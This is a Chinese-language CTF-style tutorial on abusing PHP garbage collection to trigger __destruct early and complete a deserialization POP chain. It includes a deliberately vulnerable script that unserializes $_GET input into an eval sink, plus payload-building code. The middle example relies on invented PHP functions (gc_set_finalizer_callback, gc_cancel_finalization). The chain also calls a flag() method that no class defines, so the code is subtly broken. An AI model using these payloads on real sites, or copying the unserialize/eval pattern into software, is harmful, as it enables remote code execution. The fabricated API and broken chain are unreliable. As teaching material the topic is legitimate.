PHP Garbage Collection简称GC,中文翻译PHP垃圾回收,是PHP在5.3版本之后推出的专门针对垃圾回收的机制,在5.3版本之前,因为信息的重复使用导致的内存冗余一直很恶心,所以PHP推出了GC机制以对内存问题进行优化
具体原理请师傅们移步官方文档,在这里就不对赘述了
https://www.php.net/manual/zh/features.gc.collecting-cycles.php
<?php highlight_file(__FILE__); error_reporting(0); class YHQK{ public $Ihavegirlfriend; public function __construct($Ihavegirlfriend) { $this->Ihavegirlfriend =$Ihavegirlfriend; echo $this->Ihavegirlfriend."areyouxianmume"."</br>"; } public function __destruct(){ echo $this->Ihavegirlfriend."nonono"."</br>"; } } new YHQK(1); $a = new YHQK(2); $b = new YHQK(3); ?>
可以看出来,进程一的开始和结束都在进程2和进程三之前
原因看最后的三行代码
new YHQK(1); $a = new YHQK(2); $b = new YHQK(3);
进程2和进程三都有明确的指向变量,准确来说,是对象2和对象3都具有明确的变量指向
但是对象一并没有,对象一只是简单的被实例化,没有指向的变量
所以会被GC回收机制删除掉,导致提前触发destruct魔术方法
这里体现的是GC非常强的强制性,以至于他能控制php的魔术方法。
而众所周知,destruct这个魔术方法是几乎必然要被触发的
所以既然他可以强制这样一个魔法函数提前触发,是不是也可以强制他不被触发
class YHQK { public function __construct() { echo "Object created\n"; } public function __destruct() { echo "Object destroyed\n"; } } function gc_callback($obj) { if ($obj instanceof YHQK) { echo "GC callback: YHQK instance found, blocking __destruct\n"; gc_cancel_finalization($obj); } } gc_enable(); gc_set_finalizer_callback('gc_callback'); $obj1 = new YHQK(); $obj2 = new YHQK(); $obj2 = null; unset($obj1);
这里使用了gc_set_finalizer_callback函数来注册一个回调函数,当垃圾回收器发现一个待回收的对象时,就会调用这个回调函数。在回调函数中,如果检测到待回收的对象是MyClass类的实例,就会使用gc_cancel_finalization函数取消其析构函数的执行,从而达到阻止__destruct方法执行的效果。
<?php highlight_file(__FILE__); error_reporting(0); class ssz1{ public $bzh; public function __destruct(){ echo "hello __destruct"; echo $this->bzh; } } class ssz2{ public $bzh; public function __toString() { echo "hello __toString"; $this->bzh->flag(); } } class ssz3{ public $bzh; public function getyourgirlfriend() { echo "hello wowowo()"; eval($this->bzh); } } $a=unserialize($_GET['cmd']); throw new Exception("nonono"); ?>
throw new Exception("nonono");
这行代码的作用会阻断destruct的执行
而我们需要运行的pop链是
ssz1::destruct() --> ssz2::toString() --> ssz3::getyourgirlfriend()
这就导致我们从一开始就断了
但是,通过GC机制的不讲道理,我们可以直接引发destruct的执行
<?php error_reporting(0); class ssz1{ public $bzh; public function __construct() { $this->bzh = new ssz2(); } } class ssz2{ public $bzh; public function __construct() { $this->bzh = new ssz3(); } } class ssz3{ public $bzh = "phpinfo();"; } $a = new ssz1(); $c = array(0=>$a,1=>NULL); echo serialize($c); ?>
在这里,我们直接把ssz1直接架空,造成了GC机智的运行,最终完成了我们的pop链